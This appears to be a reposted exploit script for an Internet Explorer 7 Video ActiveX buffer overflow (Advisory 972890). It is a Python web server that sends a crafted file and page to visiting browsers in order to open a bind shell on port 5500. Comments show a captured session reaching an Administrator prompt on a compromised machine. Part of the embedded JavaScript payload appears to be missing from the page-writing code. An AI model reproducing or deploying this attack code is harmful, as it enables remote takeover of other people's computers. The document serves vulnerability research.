MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890)

=================================================================== MS Internet Explorer 7 Video ActiveX Remote Buffer Overflow Exploit =================================================================== #!/usr/bin/env python ############################################################################### # MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890) # ############################################################################### # # # Tested on Windows 2003 SP2 R2, XPSP3 IE7 # # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ############################################################################### # # # It's somewhat unreliable, can crash IE at times, found it to be around a 60% # hit. # # This exploit is publicly being exploited in the wild, opted to release this # to the research community. Microsoft is aware of the vulnerability. # ############################################################################### # # # [-] Exploit sent... [-] # [-] Wait about 30 seconds and attempt to connect.[-] # [-]telnet/nc to IP Address: 10.211.55.140 and port 5500 [-] # # [email protected]:~$ telnet 10.211.55.140 5500 # Trying 10.211.55.140... # Connected to 10.211.55.140. # Escape character is '^]'. # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Documents and Settings\Administrator\Desktop> from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import sys,binascii try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/ohn0es.jpg": unhex=binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00") self.wfile.write(unhex) if self.path == "/": target=self.client_address[0] self.wfile.write("""""") self.wfile.write(""" // Javascript code taken from multiple exploits and exploits that are being actively exploited in the wild

""") self.wfile.write("""MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890)""") self.wfile.write("""

Exploit is running...

""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-]telnet/nc to IP Address: %s and port 5500 [-]" % (target)) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print (""" ################################################################################### # MS Internet Explorer 7 Video ActiveX Exploit (Advisory 972890) # ################################################################################### # # # Tested on Windows 2003 SP2 R2, WinXPSP3 # # # # Written by SecureState R&D Team # # http://www.securestate.com # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # # It's somewhat unreliable, can crash IE at times, found it to be around a 60% # # hit. # # # # This exploit is publicly being exploited in the wild, opted to release this # # to the research community. Microsoft is aware of the vulnerability # # (Advisory 972890). # # # ################################################################################### """) print ("[-] Starting MS Internet Explorer 7 Video ActiveX Exploit:80 [-]") print ("[-] Have someone connect to you on port 80 [-]") print ("Type -c to exit..") try: # handle the connections httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print ("\n\nExiting exploit...\n\n") sys.exit() # 0day.today [2018-03-14] #

Query Builder